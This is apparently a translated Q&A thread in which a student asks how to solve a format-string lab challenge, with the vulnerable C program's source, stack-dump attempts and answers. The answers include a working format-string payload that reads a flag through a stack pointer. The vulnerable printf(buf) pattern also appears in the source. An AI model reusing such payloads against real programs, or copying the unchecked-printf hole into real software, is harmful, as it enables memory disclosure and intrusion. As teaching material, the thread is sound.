2017-08-25 4 views
-2

Je suis un essayant d'apprendre à propos de l'ingénierie inverse de CSCI 4971 course, et je suis aux prises avec une question de laboratoire particulier (fmt_string).Comment lire un pointeur arbitraire de la pile avec une chaîne de format exploit?

Je suis censé trouver et imprimer les magasins de drapeau quelque part. Voici comment le code source semble:

#include <stdio.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <string.h> 

#define LINK "\x1b\x5b" "34m" 
#define RESET "\x1b\x5b" "0m" 


int main() 
{ 
    char buf[256]; 
    char *blah = (char *)0xdeadbeef; 
    char *pointer = flag; 
    char *xblah = (char *)0x1337c0de; 

    printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET 
     "Nobody really cared though until this exploit for ProFTPD was\n" 
     "dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n" 
     "\n" 
     "In this challenge you do not need code execution. The flag is\n" 
     "somewhere in memory. There is a pointer to it on the stack. You\n" 
     "must use this pointer to dump the flag...\n" 
     "\n" 
     "You will retrieve it by passing in format string specifiers to\n" 
     "the printf() function\n" 
     "\n" 
     "After class read this article by rebel for fmt string leetness\n" 
     LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n" 
     "\n" 
     "As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n" 
     "\n oh, and man printf\n" 
     "\n" 
     "\n" 
     ); 

    while(1) 
    { 
    printf("> "); 
    fgets(buf, sizeof(buf), stdin); 
    printf(buf); 
    } 

} 

Voici comment je me suis approché du problème: je sais que l'entrée %x imprimera les données stockées dans la pile. Donc, quand je tape AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x, je reçois la sortie AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141, ce qui est conforme à mes attentes.

Les 4 derniers octets 41414141 sont les 4 As' au début, 4 octets deadbeef et 1337c0de sont celles codées en dur dans le code source. Maintenant, je suis assez sûr que le drapeau est stocké dans l'adresse 080c90a0.

Cependant quand je lance this bash command, je ne peux pas le drapeau:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string" 

Ce que je reçois est:

000000.> �� 
      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                    .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
              .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
.00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                  .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                    .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
       .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                      .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
         .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                        .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
           .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                          .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
             .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                            .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
               .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                              .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                 .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                   .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
       .00000000.00000000.00000000.00000000.00000000.00000000.> �� 
                     .00000000.00000000.00000000.00000000.00000000.00000000.> �� 

S'il vous plaît me aider à comprendre ce que je fais mal, pourquoi dois-je obtenir cette sortie et que dois-je faire pour obtenir le drapeau?

+0

Cette tâche ressemble à un non-sens, car elle suppose 1) un certain ordre d'allocation 2) qu'aucune optimisation n'est effectuée. – Lundin

+0

"Exécutez la commande' $ printf ... '" ??? Est-ce une commande shell? Ou vous voulez dire que vous entrez cela? –

+1

@PaulOgilvie c'est la commande shell. –

Répondre

1

Votre commande bash printf jamais couru votre programme C. Le ./fmt_string est à l'intérieur des guillemets doubles dans le cadre de l'arg à l'intégré printf.

Sur mon bureau (dans un répertoire sans fichier appelé fmt_string), je reçois:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string" 
�� 
.00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string 

qui est différent de la sortie vous montrer, alors peut-être que vous ne l'avez pas copier la commande que vous avez réellement exécuté?


Vous avez peut-être exécuté printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string. Sans le tuyau, il imprime:

�� 
.00000000.00000000.00000000.00000000.00000000.00000000. 

parce que vous ne rien faire pour arrêter le printf d'interpréter les builtin % s dans la chaîne que vous imprimez. Utilisez printf '%s\n' ... ou utilisez echo. Ironiquement, votre tentative de tester une vulnérabilité de format-chaîne a été vaincue par le traitement incorrect des chaînes de format.

La sortie printf en sortie via votre programme l'affichera mot à mot, car elle ne contient plus de méta-caractères printf. La boucle fgets/printf ne fait que copier stdin vers stdout dans ce cas, même si elle contient des binaires binaires.


En ce qui fait de trouver où flag est stocké sur la pile, compiler avec gcc -O0 -fverbose-asm -masm=intel foo.c -S -o- | less, et regardez les commentaires de gcc pour voir où il est de mettre le pointeur que vous voulez.

(Je suppose que votre exploit ne fonctionne que sur le code compilé avec -O0, car sinon le pointeur ne sera jamais stocké sur la pile.)

IDK si vous utilisez -m32 ou non. Si ce n'est pas le cas, les 6 premiers arguments entiers pour printf sont transmis dans des registres d'entiers (dans l'ABI System x x86-64), vous devez donc les passer en premier. Voir le wiki tag pour les liens ABI doc. Je suppose que vous êtes sous Linux à partir de l'utilisation de la commande printf bash.

+0

Pourquoi est-ce downvoted? Ceci explique parfaitement la sortie de l'OP vu de la tentative ratée de canaliser une chaîne de format dans le programme C. –

3

Votre premier essai indique que le pointeur est stocké dans la 5ème position.

Remplacez simplement le 5e %08x par un code de format approprié, en fonction des données de l'emplacement pointé. Si les points de drapeau à une chaîne, puis% s est adapté:

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x 

Sortie prévue:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141 
+0

Merci d'avoir souligné la façon la plus simple de le faire! –